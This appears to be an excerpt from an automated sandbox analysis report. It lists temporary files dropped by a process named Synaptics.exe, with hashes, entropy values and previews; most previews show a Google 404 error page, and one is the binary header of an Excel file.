Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266452356441095
Encrypted:	false
SSDEEP:	24:GgsF+0yjSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7j+pAZewRDK4mW
MD5:	535D9655724AD55561FBABDE3290458F
SHA1:	5323DF612FAE8DFCD2BE7C16542B111EDB845CFE
SHA-256:	2DAC706785B722A95C71F1AD0BC80AD169E9A370FAF72DCEFAF2C4957E0240F3
SHA-512:	BF92D03B462DA51CDC487794378C0AB51997BC6507EDE2397D42E269D64DBBB8C14624C254C956BEB8E496451F6427D4E1DCFD4792639AC76B7569DEE8338359
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mvkQAQ3bFY2U6WsaavNFDg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\2uAi7uv.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256848466454581
Encrypted:	false
SSDEEP:	24:GgsF+0mSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+R+pAZewRDK4mW
MD5:	A9BE7D95A66EA36234A5C5B67275DB30
SHA1:	E4517E406B5912AD32B02A7D0E63D833F164C3EA
SHA-256:	90ADCB01D6885EEDCCAAFA1E74F997BADCC16548B61E05DB3FBCD82CBD3D8FE9
SHA-512:	46D4BA95FFEA8C85D3717765DC263053D43640C0989689B7042B34CCC6211416E93FE108FD8C5C7F9639114FA4FC3294AC65BC9396308BA0B6D34B320556858B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="DctD6A-2EAiLgl6rvb_9Qw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\4eMCWkD.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2618618261365695
Encrypted:	false
SSDEEP:	24:GgsF+0JvSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Kv+pAZewRDK4mW
MD5:	0D70ABBC1DC9261F754E20A9657F5008
SHA1:	2F8427068AECDB95DAA6EA484B6CA37F8ED1FD77
SHA-256:	D59ABDAFD05E56AA19504BCBF031C0D4EDC5855C8D114EA7C03978D4DC43AB34
SHA-512:	4DC7FDE629A0980F6488E762074E2CDD82522554798638DC1788FE688FF14AB04AD01327529EF6E44FB760B4DAC963223A4A98B6DBD778CFA27A310100708E68
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oSaTQ5o9ujUNvz1Q-J_Dvw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5epFe3i.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2558408834237085
Encrypted:	false
SSDEEP:	24:GgsF+0JSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+y+pAZewRDK4mW
MD5:	F1E2892C0454D6F0AE9BA9206C3B3FEC
SHA1:	12930253CB83744EFEEF2749F7A4AB35BD366630
SHA-256:	3086BE961624BA1A1F1F06FAB5B98B7E67F85BF13ABA4C2A0546FFB09B4D90A4
SHA-512:	C989DA7F67738F331C1C6397E762D733108DD7BDE87E7A896767346FFB8B725A71E955939FEC5C5AACDEE45D676A9546741748C19FFB92A67271F367AE0FABEB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mzJlnEaz9uuaNgFSp0VmIA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5lKI7QU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261447699241621
Encrypted:	false
SSDEEP:	24:GgsF+0oDXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9T+pAZewRDK4mW
MD5:	009824679C6EF3B6DF027DAF3C1989BC
SHA1:	3A7A55734FBA140E9DEE3198A1CBF3998DE9942E
SHA-256:	BB93C4AF462B588A56779EB702BA39FA1D886D3CFBF1CC8A1FD801586A936D8B
SHA-512:	006825879EEB6C899ECAB4B38AD33DB7B8E72C045D9FAACB0BBC7F1FE7AF59E145687D4D6CFCE531F393412AAFE469C00944C3F587D547C3C7F967F3B72DA786
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rPxim9HDxGOzFF7uMXd5cw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\6IMjnAq.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258726071012523
Encrypted:	false
SSDEEP:	24:GgsF+042rDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+12P+pAZewRDK4mW
MD5:	4AB18CD9726814601678E932424F23FC
SHA1:	422996A0661F7750DCEE53B8870F634B69E9F9C0
SHA-256:	25D0FDF093D21DC394509E2B71A17C84CEEC4385FDC1F6286A8D6F8F576E4E40
SHA-512:	CC3E8561D158DE3384A4E91D5F8AE8763D830A21AA1ED8168A2EABAEFB70A3101CCDD971163D1E9780E44F7B94D12CA08C5E303ED38532B7326DF53B3A765150
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0vm53CZYHGf10-ua68xulQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\9REz2sM.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2508434099332115
Encrypted:	false
SSDEEP:	24:GgsF+0KSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+5+pAZewRDK4mW
MD5:	EF70640D658EAEF4A87C3DA91B7C6847
SHA1:	DC2BE09E3F2C852A438B6AB7F04A0C74B283E00B
SHA-256:	9C7CC382F2A75DC89FDC4191E7867167B34CB7F42DF95F2D8273B457CE6344DB
SHA-512:	FA3BFAAC229EBCD6095027B4EFC782D69CA8D83A4CF567715CC4CFF147CE28C0368D9C0758AE1334403805F730764721D4AF4F6B2CD1BC54F7587076B5AE5AC8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="nSySyTfUZ_n0QdcnyxfdyQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\A12DuOj.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2586942807733426
Encrypted:	false
SSDEEP:	24:GgsF+0rNbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+S+pAZewRDK4mW
MD5:	9A9F06A5758491A28081BFA02E2DB23E
SHA1:	B9E189D74323EF3BC432F0D31A6E1772B552D0A2
SHA-256:	6614CBEA783C4C64A7FCCD3C76D355E8610C9F87238D44A3D5D831485E474EC4
SHA-512:	0F2BA26E4E808ECFEC69B5D4ECF1B208CB35E9724808015A1DF64EFD1670480F296DC2AC34FA922DC89D09B91D205894E0D45D473E49F0145A44624BFD5C5513
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3Jw4tCbq9hCfqa6N22TdoQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\BR2D9es.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255722828462531
Encrypted:	false
SSDEEP:	24:GgsF+0g7SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+r7+pAZewRDK4mW
MD5:	12B82D5EE4935405C57E534F143E26BF
SHA1:	5461ED3731234EE412445220A0CE51114012D750
SHA-256:	ADFAB9BE61E8151DEDE7091E4D27C013D8CBE6031C8D1E55AD86602F30183B35
SHA-512:	06807441AB7F00D2747DC86CAC0D4B3FFE6D629D9514AA773D0755BD9A7B729B5DC9EFE8839D362049A36886167530CB0F0BBB34A37D048DA744D4B8C3ADAC8E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Cc2XceSjvx5Qjlp5-CUybw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\BW45XIw.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262587616936988
Encrypted:	false
SSDEEP:	24:GgsF+0+NSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+tN+pAZewRDK4mW
MD5:	C056B9C34FC42317EA4D540AF9D50D30
SHA1:	C6FF977F8BA8D453099095BEE49FA36AF9AA3AD3
SHA-256:	D4737C3E591E1B03ADE79C4672E1AED60BF3CD15B32957EE2D5BF0EC0E02CA5C
SHA-512:	7DA16AD7A640261FCF831723C61C22D5FDD0ED350BB4413C1F0FB15B20DDAFBA69F4E40007923674E45401E50512CD1CB552106BD3309BBC5467079F43F0F449
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="JaZ4cPr4PKEKCoHL3koaKw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\BgD7m1J.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264172967755591
Encrypted:	false
SSDEEP:	24:GgsF+0dQSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+sQ+pAZewRDK4mW
MD5:	693A61881D5999853961FF113C22CC4F
SHA1:	45E1D7CD88D5053E90DDC6D44C24FD1D3D7B883C
SHA-256:	37B0527DD14C3C383E52BA82BA45DDD346D865E0CD280347864CB398A8068CA1
SHA-512:	6621A45E9663E34EC3BB9CEA3E48778F33816A80A0D9226DD4F81DF7213150CD9BD5FACB3840E31E41CD6BD045075F06E5B5FEAA5181EB89783D1DD96B7743C6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="o3r3b3HjZG5QO7bSnGnFqw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\CF5aAWp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.244193108162035
Encrypted:	false
SSDEEP:	24:GgsF+0gSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7+pAZewRDK4mW
MD5:	0F3AFEB7EC6B3282A24997A8A1AE39B1
SHA1:	7A58C6D22D635B6ABF28A8C62F85E085312E9971
SHA-256:	11215D8E5EFEC2935730E6AC289E1C350C49F2F690712E7B32AC76566253024C
SHA-512:	351C14766DE61D5DB4EE16B056BDFB318EDE7611185FD8A4DA2BD54BD9B388E2149EC3378F9066D63FDA532F1115FC84177604057E5555E41F0D75A232D4DEF1
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="l1opnM0qZKooL_vucj5rmw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\DR3vSmR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.252051715120241
Encrypted:	false
SSDEEP:	24:GgsF+0ESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+X+pAZewRDK4mW
MD5:	E46A33BB4FB9308F7EF7CA14D1E8501A
SHA1:	330294DC13DB5E20B4DAED5E31308975490FAB8B
SHA-256:	05504DB4B9F2C0677E66C94393002102283F54C9F00783A30542EA5089376205
SHA-512:	1B263632A62AF11615517A6FA0802C746A92AAE4DAA059661A5051F637AAB8E8E86C2E716EBBA99CC18376C26CBC2FD168A2FC4ADB885A57670BC0A5DF55E577
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="i4YwrAuG6u03n7Fn1SCcew">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ExGwSS3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268140631049004
Encrypted:	false
SSDEEP:	24:GgsF+0RhSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+kh+pAZewRDK4mW
MD5:	A28CF63028132CD7E827B5E60EA5ADB4
SHA1:	19F481E8D0EC86F459BAEFDC48E55225A3915C72
SHA-256:	C1B86E194A1D5EFAE83F8898A86BC819B5696A033633E9D8C2B6EA0F756A0870
SHA-512:	6A368C5A2B5B737F9676EB1AAF610D9A22A38DF3B84B215F7166FC3BC2888AEB56E7D877A0F1D9719996C4C5475EB6D8A7D7FFCE84EAC7BDDA3AD8D61265B23C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oUFvwpx_YZvaU2XWCWVpGA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\F8fFlKe.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.275791221413178
Encrypted:	false
SSDEEP:	24:GgsF+0BOWSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++OW+pAZewRDK4mW
MD5:	9B4A0E4D153D9E7E6DEA46695D23E62A
SHA1:	3EF7A3A3E592C57B4FAA07B21A5A96A2771DD23F
SHA-256:	206E6BF99B555FFC1BE8037A1249FF91B4D28086C2B599133032238E9F49457C
SHA-512:	FD606B455614DD60BDA86B85F20417EDFC490A6DCFABB9BAACA3EE9CE078764A6CD71446FE7BCC92B8CD618400C06F299F1094CB2C6B87E42706906218EFCC90
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="66KIQvEQsbBULqmtRhVqQQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FHfEA7As.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\GM1F43a.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.250526025748348
Encrypted:	false
SSDEEP:	24:GgsF+0wSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+b+pAZewRDK4mW
MD5:	FF19717213C531E0EE021F816013AC21
SHA1:	2E8ACF27E57B465A8C15C084ABEC90B94E41AAC9
SHA-256:	8AA105D4F0A170C082EBE9BB54ACF7AA319643B95AE98E394B07432364B71698
SHA-512:	5388C4E6E42FC13CF76EFC19A94ECF4EEEC480B51AD9E1DAA5773648C46CA88AF0E9BEDD1998F91902A9F2AAEB5AEBEA7D8E3FB685334C795CC3F4CE9D3813CF
Malicious:	false
